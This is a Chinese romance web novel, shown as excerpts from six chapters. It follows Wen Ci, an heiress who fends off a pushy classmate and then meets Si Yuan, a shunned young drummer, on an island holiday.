《人格分裂?谁才是我男朋友》
1. 山中何事?
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六月底,青城市。
高考结束有段时间了,可温辞的社交依旧如刚考完试那几天一样热闹,通信软件上的邀约短信就没断过。
她从一开始的兴高采烈,逐渐演变为疲于应付。
这日清晨,温辞正百无聊赖躺在客厅的沙发上,刷着新出的一档综艺。
忽然,扔在茶几上手机叮咚一声。
同桌顾冉发来一条信息——【温辞,隔壁班的章扬组织晚上去他家的别墅里吃烧烤,他再三嘱咐我,一定要叫上你一起。】
章扬这人,人如其名。
仗着家世好,父母又是高中学校的董事,三天两头惹出祸事来,把‘张扬’二字彻彻底底贯彻进他生命的每一天。
彻彻底底的校霸一个。
温辞皱着眉看完,本想拒绝,又不忍让顾冉为难。按照章扬的行事作风,如果她不去,他极有可能会为难顾冉的。
思索了一瞬,她勉强打了一个‘好’。
不等她点击发送键,顾冉又发来一条——【如果你不想去,我可以帮你去说的。你也知道,他喜欢你。可你又不喜欢他,何必要去自寻烦恼呢。】
话里话外,都是不要她在章扬面前晃悠的意思。
高中三年,章扬仗着家里那点资本几乎把学校里稍有姿色的女生调戏了个遍。
除了温辞。
他不止一次给温辞递过情书,或直接递给她,或间接差人放到她的课桌里。
可每一次,她都没有拆开。
最开始的时候,她还会把情书返还。
可章扬却丝毫没有收敛,反而把她的骄矜和无意当成是一种情趣,隔三差五就递来一封新的。
温辞不堪其扰,便直接把情书扔到了垃圾桶里,并且趁着大课间章扬又来串班刻意找她说话时,她站起身,公然说道:“家里管得严,高中的学业又紧张,我要以学习为重,不能谈恋爱。”
那日,她当众下了章扬的脸面,他也的确安静过一阵。可伴随着高考结束,他又开始缠着她。
她明明已经在‘无意’间清理微信好友的时候,把章扬从联系人的列表里删除了。
可他依旧能够隔三差五的通过别人联系到她。
譬如今天。
关于顾冉喜欢章扬这件事情,温辞是高三下学期才发现的,她一直把对章扬的心思埋得很深。
可喜欢一个人的眼神,又怎么藏得住呢。
温辞勾了勾唇,扬起一抹嘲弄的笑意,删除那个‘好’字,纤长的手指在屏幕上敲敲打打,毫不犹豫点击了发送键——【不去,我跟他又不熟。】
随即,她把手机倒扣在茶几上,俯身从果盘里捏了颗冰凉的荔枝。
她并不知道,手机那端的顾冉收到她的短信后,第一时间删除了那条【如果你不想去——】的信息后,将两人的聊天记录发送给了章扬。
温辞剥开荔枝坚硬的外壳,晶莹的汁水浸湿了粉白的指尖,她一口将荔枝吞入齿中,稍一咀嚼,吐出一颗黑籽。
荔枝的清甜香味弥漫在口腔,刚才那两条短信引起的郁闷情绪稍有缓解。
她又拿起一颗,剥开皮,填入口中,正准备把核吐出来,倒扣在茶几上的手机又响了起来。
和刚才相比,温辞的神情多了几分不耐。
她用没有沾染荔枝汁水的手拿起手机,顾冉并没有给她回信,发信息联系她的,是她们班的班长顾清河。
可短信的内容,却不是顾清河写的。顾清河和章扬是表兄弟,两人经常混在一块。
【我是章扬。】
【晚上的烧烤局,你真的不来吗?我专门为了见你才组的。】
【你之前不是说高考之前不谈恋爱吗?现在高考结束了,你可以和我谈恋爱了吧?】
【你之前不是从来都没有来过我家的大别墅吗?待会儿你来了,我就在我家的别墅里给你表白好不好?】
【……】
短信仍在一条又一条发着,仿佛温辞不回复,他就会永远发下去一样。
她粗略看了一眼,被他自大的语言给逗笑了。
家训要求低调,她也不喜欢张扬。所以在上学期间,温辞从来没有透露过自己的家庭情况,以至于没有人知道自己是青城首富霍氏的千金。
她之所以姓温,是随了母姓。
也正是因为如此,她长这么大,除了熟悉的人,还从来没有人把她和霍家牵扯到一起过。
她浅笑着摇摇头,舌尖将荔枝核从口腔中抵出,吐在手心,用左手在屏幕上敲了几个字。
随后,她站起身,把荔枝核扔到了垃圾桶里,又抽了片酒精湿巾擦了擦手,去到花园里,对着自家的大别墅拍了张照片,连同那句话一起给他发了过去。
【我家又不是没有别墅,我为什么要去你家?而且,我不喜欢你,为什么要跟你谈恋爱?】
【图片】
手机另一边,章扬看着比自家别墅要精致好几倍的豪华别墅,一时无言。
温辞把手机关机之前,仍不忘把顾清河设置成免打扰模式。
可就算是这样,她的心情也因为那几条信息变得很差。
连吃荔枝都缓解不了的那种差。
自她高考结束的第二天,霍懈北和温予就去外地看望老朋友了。
家里除了温辞,就只剩下保姆阿姨和司机在。
一开始,温辞还觉得自由不外乎如此——爸妈不在家,却给她留下了充足的零花钱。没有人限制她吃垃圾食品,想吃什么,和保姆阿姨一提,她一准能吃到嘴里。门禁的时间也从晚上十点挪到了凌晨。
天上地下,她是老大的这种感觉,简直不要太爽。
可一个星期没到,她就有点怀念被爸妈严格管束的日子了。
这样散漫自由的生活,她忽然觉得很空虚。
可她的爸爸妈妈两人都是心大的,一出门,仿佛就忘记了家里还有一个未成年的女儿。
这都过了半个月了,温辞的电话也打了不下十通,可两个人始终没有要回来的迹象。
前天,温辞翻朋友圈的时候,无意间翻到了她的爸爸霍懈北发的一条动态。
他是家族公认的恋爱脑。朋友圈里,除了工作,就是老婆。偶尔,还会有温辞的背影出镜。
而这条朋友圈的内容很简单,一句话,搭配上一张照片。
【山中何事?松花酿酒,春水煎茶。】
配图是温予坐在一间古朴且充满了松弛感的茶室里,穿着素雅的宽袍斟茶。
棉花糖一样的团团白云,近在咫尺,像是一伸手就能够到。
除此之外,温辞还是发现了其中的绝妙。
照片的一角,还有一个男人入了镜。
他穿着素白的道袍,脑袋上顶着一个松垮的发髻,打眼一看,就是一个道士的装扮。
他手里拿着一把笤帚,清扫着院落,只显出一张侧脸。
不知道是该夸霍懈北拍照的技术好,还是该夸这小道士很会长,单单一张侧脸,就把温辞给惊艳到了。
他的鼻梁挺括,眉眼深邃,长得应该很好看。
看起来很年轻,应该和她差不多年
2. 告别
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挂了电话之后,温辞从冰箱里拿了瓶荔枝味的气泡水,一手饮品,一手开瓶器,稍一用力,噗叽一声闷响,瓶盖被开启,跳出去两三米远。
温辞用余光瞥了一眼越轱辘越远的瓶盖,没急着去捡,而是先仰头喝了一大口气泡水。
随后,才慢悠悠走过去,弯腰,将已经变形的瓶盖捡了起来。
她把瓶盖扔到了垃圾桶里,又绕到厨房,说:“阿姨,晚上不用做我的饭了。我一会儿去老宅,晚上就在那儿吃了。”
阿姨:“好。”
和阿姨沟通完,温辞第一时间给老宅里的霍执年打了电话过去。
电话接通的一瞬间,温辞用撒娇的口吻开口,说:“爷爷,我晚上想吃烧烤。”
“好,我差人备菜。”霍执年看着严肃,对他这个孙女却宠溺得紧。
原因无他,只因她是霍家唯一的孙辈。
挂断电话之后,温辞上楼洗了个澡,换了身衣服,差司机载着她往老宅而去。
老爷子接到温辞电话的时候,正和朋友在远郊的水库钓鱼。听到温辞说晚上吃烧烤,他还以为她傍晚才会去,所以就没有回家,而是给家里的管家打了电话,差他备好晚上要用的菜品。
是以,温辞到达老宅的时候,也异常清冷。和她家一样,家里只有管家、保姆和司机在。
问了才知道,爷爷外出未归。
管家:“孙小姐,不然我打电话催一下老爷子?他今天应该是去和杨老去远郊钓鱼去了。”
温辞摇摇头:“不用麻烦了,我有点困了,刚好先睡一觉。”
“好的,我先去备菜。小姐要需要随时叫我。”管家应声而退。
原本温辞以为,她是睡不着的。可没想到,一沾床,就着了。
天色将晚,晚霞似火。
温辞一觉睡到了傍晚。
隐隐的,她听到一阵被刻意压低的哄闹欢笑声。
她在老宅的房间和后花园离得很近,一拉开窗帘,满园的花草映入眼眸。
花园前的草坪上,三五人围坐在烧烤炉前。
许是她拉窗帘的动静大了些,惹得人们纷纷抬头。
同时,盛放也看清了下面的人都是谁。
小姑霍央最先反应过来,冲她招招手,喊道:“阿辞,你醒了。快些下来,就等你来吃了。”
“就来。”
温辞冲草坪上的几人扬起一张笑脸,转身跑到梳妆台,捏起皮筋儿,将过肩的发丝绕成一个丸子,边扎边往下跑。
直到下了楼,她脸上都还洋溢着那抹惊喜的笑意。
原本温辞以为,今天晚上的烧烤局,至多是爷爷把大伯和小姑叫来,却没想到,除了那两人,连自己多日不见的爸爸妈妈也围坐起中。
温辞飞奔到人群:“爸爸妈妈,你们怎么突然回来了?怎么没有提前打电话告诉我呀。”
霍懈北负责烤,他离温辞最近,见她跑过来,悠悠起身,张开怀抱,说:“打过,却没打通,你手机关机了。”
温辞想起他被章扬纠缠,气到关掉手机的那一刻,笑意更深。
三两步后,她稳稳站到了霍懈北面前。
同样的,她也冲他张开双臂。
就在霍懈北以为她要抱过来的时候,温辞稍一弯腰,从他胳膊下穿过,扑到温予背上,语气中夹杂着些许不容易被人察觉的委屈,说:“妈妈,我好想你呀。下次你和爸爸出去玩,再不带上我的话,我就要生气了。”
某一瞬间,温辞的脑海里闪过那张照片上只有一张侧脸的男人,胸腔隐隐生出一种酸涩。
只是现在,她还分不清这阵酸涩究竟是吃味,还是心动。
“好,下次一定带上你。”一如温予这个人,无论是神情,还是口吻,都满是温柔。
霍懈北的目光也尽数落在妻女身上,眸中的夹杂着星星点点的宠溺笑意。
他烤好了一把蘑菇,母女二人都还腻在一处。
“阿辞,快从妈妈身上下来。为了早点回来见你,她赶了很久的路,很累。”
话落,他分出两串,递到温辞面前,又说:“尝尝,看是不是你喜欢的味道。”
原本,温辞没想着要吃烧烤。她之所以会来老宅,是想和大家告个别。她被霍央给说动了,想要去海岛散心。
不过是顾冉的短信里说了烧烤二字,她才随口说了出来。
这顿烧烤局,原本是为了告别,吃倒是没有多么想吃。烤蘑菇的香味沁入鼻腔,倒平白为她长了几分食欲。
“好香啊。我去拿气泡水。”温辞松开温予,往厨房跑去。
“阿辞,多拿几瓶,我也要喝。”霍央冲她的背影喊了一句,温辞应了声好,步子又大了几分。
温予接过那两串烤蘑,霍懈北把剩下的分给其他人后,开始烤弄鸡翅。
顷刻,温辞回来,手里端了个筐,里面除了气泡水,还有冰啤酒。
哐当一声,她把筐放到自己的座位前,扫了一圈,最后把视线落在了霍执年身上。他正在烧烤炉前翻弄着他下午才从水库里钓上来的鱼。
“爷爷,我这里有荔枝味的气泡水,冰镇啤酒和纯净水。你要喝什么?”温辞问。
霍执年摇摇头,换了只手烤鱼,端起面前的茶杯,说:“年龄大了,喝不了那些东西,我喝茶就好。”
温辞哦了声,攥住纯净水的手又撤回,拿了罐冰啤酒,依次分发起来。
爸爸霍懈北和大伯霍未是冰啤酒。妈妈温予、小姑霍央以及温辞自己,全部是荔枝味儿的气泡水。
倒不是她们三个都喜欢这个味道,而是冰箱里只有这个味道。
温辞尤其喜欢吃荔枝,连带着喜欢吃一切荔枝口味的东西。其中,她尤其喜欢喝荔枝味的气泡水。
霍执年接到她的电话后,立刻安排管家按照温辞的口味备菜。
至于其他人,完全是将就和凑合。
吃到尾声,温辞怀着忐忑的心情,说出了自己想去海岛散心的想法。
她本以为,至少会有一两个人反对。
除了小姑。
毕竟她之前的长途旅行,从来都没有尝试过一个人
3. 男朋友
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翌日清早,霍懈北和温予送她到机场。
临别前,温予递给她一个小瓷瓶,里面装满了淡金色的中药丸。
这种药丸,随便拎出一种原料,都价值千金。可她却从小吃到大。这些年,她也不止一次想过,如果她出生在寻常家庭,可能早没命活了。
温予:“前几天刚配好的,感觉身体不舒服的时候,就吃一颗,别省着,吃完了还有。”
“好。”温辞点头,把药瓶装进了随身的小包里。
该嘱咐的话,早已经嘱咐过了。霍懈北抬腕看了一眼时间,“进去吧,时间快到了。”
温辞点点头,分别抱了两人一下,先后说:
“妈妈,我会想你的。”
“爸爸,我不在家,你可千万不能欺负妈妈。你要保护好她。我也会想你的。”
话落,她雀跃离开,丝毫不知自己踏上的究竟是怎样的一条路。
看着温辞的背影,温予冷不丁的红了眼眶。
她哽咽着低喃:“这不仅是她第一次独自远行,而且关系她的生死啊。我们真的不能陪她一起吗?”
霍懈北环着她的肩膀,低声安慰:“这是她必须要经历的劫难。”
谁让她是不被这个世界所接纳之人呢。
*
万里无云的晴空,一架又一架的飞机飞过,留下一抹抹白色。
温辞坐在从青城飞往庚辰岛的飞机上,从窗口向外看去。林立在地面的高楼越来越小,直至再也看不见。
飞机还在向上攀爬,温辞却忽然感觉心跳加速,呼吸也变得有些困难。
这种感觉,她很熟悉。从小到大,不知道犯过多少次。却又和心脏病没有半点关系。
她大口喘着气,连忙从包里翻出药瓶,倒出一颗在手上,填入口腔。
没一会儿,苍白的面颊又逐渐有了一丝血色,变得红润无比。肉眼看起来,和正常人没什么区别。
温辞的好心情,并没有被这突如其来的不舒服给打断。如喝水吃饭一样,她早已经习惯了她的身体。
两个小时后,飞机落地。她打了辆出租车,直奔墅区。
温予安排的很周到,家政阿姨已经打扫好了别墅的卫生,并且在她到达之前离开。冰箱里放满了她喜欢吃的东西,每隔两天,阿姨就会来补充一次食材。
大多时候,别墅里就只有温辞一个人在。
这日,她到达庚辰岛后,点了份外送,简单吃完饭后,洗了个澡,换了身保守又不失性感的泳衣,披着浴袍,往海边去了。
三分钟后,温辞到达海边。
庚辰岛的环境和风景,在国内是数一数二的。所以,有很多人前来避暑。
沙滩上有很多人,乱糟糟的。她不想在一群陌生人面前显露身材,所以就沿着海岸线一直走。
直到和喧嚷的人群拉开一些距离,她才缓缓褪去浴袍,下入水中。
她在浅水区肆意游了两圈,在湛蓝的海水中,套在脖子上的手机,隔着防水袋发出微弱的光亮。
纵她带着泳镜,也依旧能清楚看到屏幕上不停跳动的名字——顾冉。
她无奈摇了摇头,往岸边游去。
一上岸,温辞就披上了浴袍。脚底沾满了细腻的白沙,每走一步,发出浅浅的痒意。
她把湿漉漉的手往浴袍上擦了擦,打开防水袋,把手机拿了出来。
顾冉给她打的是视频电话,温辞猜到顾冉之所以会联系她的意图,不想接这个电话。
昨天,她把顾清河设置成免打扰的模式之后,一直没去看。直到登机前,她闲着无聊,才点开看了一眼。
章扬很固执,就算她不回复,也依旧给她发了很多条。每一句,都在诉说着他对她的‘爱意’。
可章扬又是不达目的誓不罢休的性子,她挂断了顾冉的,他难免不会再找别人来打扰她。
如此往复,还不如一次性解决掉。
这样想着,温辞的手指转了方向,滑动屏幕,在自动挂断的前一刻,接通。
“章扬,你看,我就说她不会接吧。”
视频接通的瞬间,这句话不偏不倚被温辞听入耳中。
视频中,顾冉画着一脸恰到好处的妆,正侧着脸和章扬说话。而章扬蹙着眉,视线紧紧盯着手机屏幕,没看顾冉一眼。
温辞姣好的面容占据大半个屏幕,章扬笑得很张扬,连声音都带着几分兴奋,仿佛昨天那些话,不是说给他听的一样。
章扬:“温辞,你可算接电话了。我和顾冉在学校对面的咖啡店,你要不要来找我们玩啊?我听说,你最喜欢吃这家咖啡店的小蛋糕了。”
不用说,这条信息肯定也是顾冉透露给他的。
温辞的视线在顾冉脸上停留一刻,神色平静,看不出任何情绪。
顾冉最不喜欢的,除了她显赫的家世,也就是温辞的这一点了。
明明都是同龄人,她却偏偏总喜欢装老成,心思深沉。仗着家世好,整天冷着一张脸,不和任何人深交。
可就算是这样,学校里依旧有很多男生喜欢她。
看着身侧满脸柔情的章扬,顾冉默默攥紧了拳,指甲近乎要嵌入掌心。
这一刻,她对温辞的厌恶,达到了顶峰。可她却并没有在章扬的面前显露出来。
以后,她还要以温辞为借口,约章扬出来呢。
但温辞却发现了她的异样。
确切来说,早在视频接通,章扬喊出她名字的一瞬间,温辞就发现了顾冉的异样。
她俩是同桌。
如顾冉了解她的喜好一般,她也能够第一时间分辨出顾冉脸上的笑究竟是否出自真心。
她侧着脸看向章扬时,笑容是从内心深处发出来的。而章扬喊出她名字的刹那,她脸上的笑意明显僵了几分。
她好似没有料到温辞会接。
后来,以至于到挂断这通视频电话,顾冉都是一脸皮笑肉不笑的模样。
别扭,又难看。
“温辞?你怎么不说话?”
章扬终于发现了温辞身后的碧海和蓝天,他忙不迭又问道:“你出去玩了吗?你是在哪里的海边啊?和谁一起?”
有点聒噪,温辞微不可查蹙了下眉,视线也从
4. 司渊
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早在开口的瞬间,温辞就已经想好了相应的说辞。
“不好意思,是我认错了人。”她冲男人弯了弯腰,声音已经恢复正常。
男人微不可查蹙了蹙眉。
不知道为什么,听到她说认错了人,他有点不开心。
抬眸,温辞看清了他长相,一脸惊愕,下意识开口:“你...你好像有点眼熟。我们是不是在哪里见过?”
意料之外,她没有听到他的回答,反而听到一声嗤笑。
日光耀眼,海浪饶有规律的轻轻拍打着她的脚背。万物嘈杂,微风拂过,甚至送来了不远处人们的欢闹声。
相较之下,他发出的声音并不算大。只是恰好被她听进了耳中罢了。
可不知为什么,那声短促又低沉的嗤笑,格外抓耳。以至于温辞听了,面红耳赤,连心跳都跟着加速几分。
说来也怪,单单是这声带有几分嘲弄意味的低笑,温辞隐隐能够猜到他此时的想法。
她稳了稳心神,说:“我不是在跟你搭讪,我是真的觉得你眼熟。但仔细看了看,应该是我认错了人。不好意思。”
说来也怪,单单是这声低笑,温辞似乎能猜到他的想法。
她稳了稳心神,说:“我不是在跟你搭讪,我是真的觉得你眼熟。”
温辞忍不住开始仔细打量起他来,视线自上而下,最后又落回到他的脸上。
眼前的男人,微蹙着眉,一双漆眸深不见底,就像是幽潭上凝起的一团雾气附着在上面,无论有多么耀眼的日光,也不能照到潭底,始终是一片晦暗。
无关长相,单论气质的话,他似乎并不像她对他的初印象那般阳光,反而有点阴郁。
同时,温辞发现,觉得他眼熟也并非是她的错觉。她的脑海中闪过一张照片。
他和前几日霍懈北在朋友圈里发的照片一角里那个只露了侧脸的小道士长得很像!之所以不敢用‘一模一样’这四个字,是因为她也没有见过那个小道士的正脸。
但她刚才观察了,眼前这个男人的侧脸,和那个小道士的侧脸相似度高达百分之九十九。
唯二的不同,一个是身份,一个是周身的气质。小道士清风霁月,而眼前的男人,寡淡又阴郁,浑身上下写满了别来招惹。
是以,温辞很快得出一个结论:尽管长得再像,这两个人,也不是同一个人。
或许,这两人是双胞胎也说不定。
许是温辞打量的眼神太过直白,男人的脸色又冷了几分。
同时,他心里也更加笃定一个念头:她刚才一系列‘勾引人’的举动,一定是故意的。她和其他女游客没什么两样,所有的一切,不过是搭讪他的一种手段罢了。
不知道为什么,他又想起刚才他听到的那声‘honey’,以及当时她脸上温和的笑意,胸腔一涩,心情又沉下来几分。
尽管他承认,在没有看到她长相的情况下,她甜糯声音就已经吸引到了他。而她的长相,比她的声音要更有诱惑力。尤其是她额间那道红色的胎记,在太阳光的照射下,隐隐散发着金色的耀眼光芒。
可就算是这样,男人依旧是一脸不耐,生怕对面的人读懂他内心的真实想法。
他的脸太臭了,温辞终于回过神,冲他莞尔,随即郑重说道:“不好意思,是我认错人了。”
闻声,男人抬眸,视线从她沾满了细沙的脚背上离开,落在她的脸上,似笑非笑说道:“认错人?那还真是可惜了。”
“可惜?”温辞有点摸不着头脑,问:“可惜什么?”
男人稍一弯腰,长臂勾起冲浪板,上前一步,弓着腰身,凑在她耳边说道:“我还以为,那声honey真的是喊我的。”
话音落下的同时,温辞感觉自己的脸‘唰’的一下烧了起来。有那么一瞬间,她甚至能够嗅到他身上清冽的须后水的味道——有点像薄荷香。
说完这话,男人意味深长看了温辞一眼后,大步离开。
转身之前,温辞恰好看到了他眸中一闪而过的戏谑。羞赧交加的同时,她心里又隐隐生出一种类似于不服输的东西。她能清楚感觉到,这个男人是在调戏她。
不,不是调戏,而是挑衅。
赤裸裸的挑衅。
动作比意识要更快一步,看着那道越走越远的背影,温辞抬步追了上去。他的腿很长,步子迈得很大,她要一路小跑才能追上他。
“等等。”温辞跟在他身后,气喘吁吁。
男人并没有彻底听下脚步,但肉眼可见的,他的步子幅度小了一些,速度也跟着慢了下来。
温辞很快追上了他,与他并肩而行。
男人乜她一眼,冷冷问道:“还有事吗?”
“有啊。”温辞点头,想也没想,直接开口,说:“我是想和你说,如果你也愿意的话,我也可以让它变成真的。”
男人顿下脚步,侧过身看她,一时没有反应过来温辞说这段话的意思。
更确切来说,是他此时的注意力完全被她启合不定的红唇所吸引,她说的每一个字,于他而言,都成了喧杂的噪音,从一只耳朵进入,在脑海空转一圈后,从另一只耳朵出去。
温辞没有想到,她会在他的脸上看到类似于‘懵懂’的神情,脸上的笑意更浓。
她上前一步,扬起头,眼睛眨也不眨地盯着他的脸,缓缓开口:“Honey,考虑的怎么样?愿意还是不愿意呀?”
男人垂眸,在她主动盯上他的眼睛之前。
他的视线,落在了两人虚抵着的脚尖上。相比之下,她的肌肤格外白皙。
阳光好像忽然变得很晒,他整个人都有些燥热。
甚至有那么一瞬,他听到一声异常清晰的海浪拍打礁石的声音。下一秒钟,男人又很快回过神来。
此时此刻,他站在满是白沙的岸边,哪里有什么礁石。刚刚那声音,分明是他吞咽口水的声音。
意识到这一点,他的喉结又上下滚动了一下,像是不受控制一样。耳边还回响着那声‘honey’,耳朵却悄无声息
5. 黑色气球
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无论是学习上的问题,还是生活上的诸多烦扰,司渊都曾向他探问过,也受益颇多。在司渊心里,霍懈北并非只是投资人这么简单,而是父亲一样的存在。
霍先生的恩情,司渊一直牢记于心。
可他身无长物,只有祖上遗留的两处宅子傍身。托霍先生的福,庚辰岛被开发之后,那两处老宅也比之前要值钱很多。
靠着那两间老宅,他也可以生活得比岛上的大多数人都要好。
司渊也知道,霍先生不缺他那点回报。可除了那两间宅子,他再没有其他的东西了。
于是,在他十五岁那年的岁末,把两套宅子里面积大、地界好的那套做为新年礼物,赠与了霍懈北。
一开始,霍懈北是不要的。
可司渊坚持,如果霍懈北不收,他便不再接受日后的资助。霍懈北拗不过,只好在赠与合同上签了字。
后来,霍懈北推翻了那座破败的老宅。
不日,小楼起。
再后来,温辞生日的时候,收到了某海岛的一处房产。
-
傍晚,夕阳西下。
海岛的风景和满是高楼大厦的青城还是不一样的。
海天相接的远方,被余晖染成了大片的绯色。晚风徐徐,温辞踩着拖鞋,悠闲走在岛内的公路上。
她随手拍了张风景,发到了朋友圈,还配了七个大字:度假中,闲事勿扰。
没一会儿,点赞的,评论的,光是ID就占了满屏。
有家人的,有同学的,也有朋友的。她大致略了一眼,排在第一位的,竟是顾清河。只是不知道,点赞的那人是章扬还是顾清河本人。
转念,温辞嗤笑一声,随即低喃:“管他是谁呢,以后应该没什么交集了。”
她没有回复任何人,退出朋友圈后,摁灭了手机,专注欣赏海边落日。
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用完晚饭,温辞拎着一罐冰可乐从小馆子出来时,天色将暗未暗,朦胧的夜色为这座小岛平添了一种神秘的感觉。
但岛上依旧热闹,放眼望去,满街都是游客。
三两成群,欢乐非常,仿佛这些人从来都没有什么烦恼,天生就如此开心。
连带着,温辞的心情也变得很舒畅。奔波的些许劳累,早在不知不觉中被庚辰岛的美景所抚平。
总的算起来,这一整天,除去顾冉和章扬打来的那通电话,也再没什么能让她不开心的事情了。
忽然,她脑海中闪过一道背影。
当时没发觉,现在仔细想来,无论是他的面容,还是他的背影,都隐隐带着几分孤傲的倔强和清冷,似被皑雪覆盖着的远山之巅。
其实,两人在海滩分别后,这并不是温辞第一次想起他来。晚饭的时候,她想起了他,拿出手机,从朋友圈翻出了那张照片,看了又看,始终觉得这两张脸一模一样。
可惜,她还不知道他的名字。
认真论起来,这勉强也算是一桩憾事吧。
想到这里,温辞叹了口气,视线从三三两两的游客身上收回,瞥了一眼路口的指示牌,准备从岛屿的另一条路绕回家。
走了没多久,她隐隐听到一阵嘈杂的音乐声。转过弯,来到一处不知名的小广场。
和白日里的空旷不同。
夜晚,海风吹走了日光暴晒的高温,并且送来一阵阵夹杂着咸湿水汽的清凉。
广场上围满了人,但大半都是游客,只有零星的原住民混杂其中。
温辞顿下脚步,看着侧前方的热闹人群,耳边是参差不齐的大合唱:“当天边那颗星出现,你可知我又开始想念...”
她一边听,一边朝着人群走去。
凭着纤瘦的身形和游客的互相谦让,等回过神来时,人已经站到了最前排,正对着乐队主唱。
早在她在小馆子里吃海鲜面的时候,就听老板娘说起过,岛上的年轻人组了一个名为‘逅岛’的乐队,每天傍晚,都会在广场上演出。
温辞记得很清楚,老板娘说这个乐队的时候,脸上满是自豪。因为逅岛的主唱,是她的女儿纪笙笙。
下意识的,她把视线落在了逅岛的主唱纪笙笙身上。
她留着波波头,白炽的灯光照下来,发丝呈烟蓝色,露脐的背心搭配破洞的工装裤,左耳戴了一排银质耳钉,拿麦的那只手上足足戴了三颗戒指。
嗓音沙哑,有一种少女特有的性感,无论是听觉还是视觉,都很酷。
眼前的一切,是温辞从来没有体验过的人生,随性、洒脱、自由。
眸中满是欣赏,随后,她又把视线转向别人。乐队里,除了纪笙笙,其他都是男人。
乐队主打的就是朋克风,他们的穿着和扮相大都和纪笙笙一样,唯独角落里敲架子鼓的那个男生,和所有人的风格都不一样。
温辞打量了一圈,最后把注意力落在了他的身上,久久没有移开视线。
他穿着简约,纯白短袖,黑色及膝半裤,顶着一顶素黑鸭舌帽,脸上还带了口罩。他努力把自己融入角落,连灯光都鲜少光顾到的黑暗处。
他孤独蜷缩在角落,敲打架子鼓的动作利落又干脆,就完全沉浸在自己的世界,不像乐队里其他人那样和游客互动。
偶尔,转动的光线落在他的周围,甚至能够清晰看到他手臂上的肌肉线条。
没一会儿,温辞发现了一件有趣的事情。
纪笙笙站在最中央,但她的余光、亦或是下意识转头的方向,总是朝着角落里敲架子鼓的那个男生。
如果她没有看错的话,纪笙笙应该是喜欢那个男生的。
温辞的视线在纪笙笙和架子鼓上流转,就在她准确无误又一次抓到纪笙笙的视线之后,唇角勾起一抹耀眼的弧度。
不知道是她的注视太过直白,还是男人实在太过警觉。角落里一直垂着脑袋的少年,忽然抬起头,准确无误攫取到她探来的视线,和她四目相对。
两人的目光在半空中胶着,在这首歌结束之前,谁也没有率先挪开视线。
一曲结束,男人重新垂下脑袋,利落敲打着架子鼓。密集的鼓点从音箱里散出
6. 啼鸦
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和大都市里灯红酒绿的夜生活不同,庚辰岛是有‘宵禁’时间的。
庚辰岛上,除了游客,便是世世代代生活在这里的岛民。
为了保证岛内原住民的正常作息,每天晚上九点钟以后,岛上就不允许发出高分贝、影响居民休息的噪音。
逅岛乐队的成员都是岛上的原住民,他们无比清楚这一点。所以,在演唱完最后一首歌后,他们开始收摊,三三两两的游客也开始往外走。
温辞也在其中。她和阿婆告别后,尾指勾着绑着气球的细绳,随着人流走了出去。
每走几步,温辞就会抬头看一眼。飘在她头顶的黑色气球,完美融入黑夜。除了她身边的二三人,其余人根本没有发现。
莫名的,温辞想起那个把自己隐藏在黑暗角落的里的鼓手。他和那只气球一样,完美融入黑夜。
下意识的,温辞回头看了一眼乐队。
人群喧嚷,她没能寻到那抹身影。
-
为了让庚辰岛的旅游业得到可持续的充分发展,当地政府和逅岛乐队签署了合约。逅岛是有演出任务的,每个月完成相应的演奏场次,政府会给他们一定的补贴金额。
逅岛的鼓手是个名为李娇的女生。因为一些私事,她需要离岛一周。而司渊,是庚辰岛上除了李娇之外,唯一一个会敲架子鼓的人。
不得已,纪笙笙只好去找司渊帮忙。
司渊和纪笙笙是高中同学,高二的某次文艺汇演前夕,她在无意间发现了在乐器室里练习架子鼓的司渊。
也是那时,纪笙笙才发现,那个自幼被岛民视作不详的男生,并非是表象那样只会埋头死读书的性子。背地里,暗无一人的演奏室内,他也是会肆意敲击鼓面来发泄情绪的人。
也是从那时起,纪笙笙的注意力总是会有意无意落在司渊身上。可无论是有预谋的邂逅,还是缘分使然的偶遇,他都拒她于千里之外。
这次请他帮忙,也不例外。
一开始,司渊的确是拒绝的。
尽管他能感受到,纪笙笙是这个岛上,为数不多对他散发出善意的人。他不想和岛上的任何人产生任何情分,哪怕是他年幼时最祈盼、最想要得到的友情。
更何况,他看得分明,纪笙笙看他的眼神并不单纯,黑白分明的眸子里,满是少女的情意。
他给不了她想要的,只好敬而远之。
可纪笙笙偏生不气馁,她早已经习惯了司渊冷冰冰的性子,仿佛没有听到他的拒绝,一连多日蹲在他家门口。
不仅还搬出一切都是为了庚辰岛的发展这套理论,而且还保证如果他帮了乐队这个忙,以后她没事绝对不来打扰他。
司渊这才应下了。
演奏结束后,司渊把鼓槌放置回原位,又帮着乐队的其他人把工具装上车,一切收拾完毕,他便想悄然离开。走了没两步,又被纪笙笙拦下:“司渊,这几天多亏有你。不然,这个月的演奏任务,我们怕是要完不成了。”
“举手之劳,不足挂齿。”司渊依旧是那身装扮,清冷站在那儿,许是戴着口罩的原因,语气有点闷闷的。
纪笙笙站到他对面,一脸希冀地看着他,说:“我们准备一会儿去吃宵夜,你要不要一起啊?”
说话间,乐队的其他成员也凑了过来。
司渊看了他们一眼。除却纪笙笙,其他人的脸上尽是些嫌弃、不满、亦或是无视的神情。
尽管他才帮助过他们,尽管他的学习成绩比他们中的任何人都要好,可他们依旧看他不起。
他的生日是七月十五,亦是民间的鬼节。只是因为他的生辰八字不好,那个神棍随口的一番话,岛上的人就把视作洪水猛兽一般,连眼神都不愿施舍一个。
那个神棍是怎么说他的呢?
“煞星魔鬼转世,妨父克母。亲缘浅薄,一生坎坷不断,孤寡终老无人爱。”
或许,那个神棍说的没有错。或许,他真的是扫把星的命格也说不定。不然,他的父母又怎么会在他出生后接连去世。
口罩之下,司渊自嘲勾了勾唇。随即,他冲纪笙笙摇摇头,说:“不用了,我还有事。我已经帮你们演奏了一个星期,希望你也说话算话,不要再来打扰我。”
说完,不等纪笙笙回应,他微微侧身,绕过纪笙笙,大步离开。
顷刻,身后传来一些气愤、亦或是安慰让人的话语。司渊仿若未闻,速度又快了几分。
“喂,你怎么说话的?”
“笙笙,你该不会是要哭吧?”
“什么东西啊,不就是会敲个架子鼓吗?他还真把自己当成个人物了,我呸。”
“他不去刚好。笙笙,走,咱们去吃。”
“...”
在此之前,纪笙笙是唯一一个知道他会敲架子鼓的人。而经过这一周的演奏,乐队里的其他人也都知道了。
可碍于司渊的情况,没有人传播这件事情。
他们恨不得所有人都不知道这几日来乐队帮忙的人是司渊,更加不会大肆宣扬他的存在。
-
行至别墅门口,温辞挂断了和妈妈的通话。她输入密码,正准备推门而入时,头顶传来一阵异样的声响。
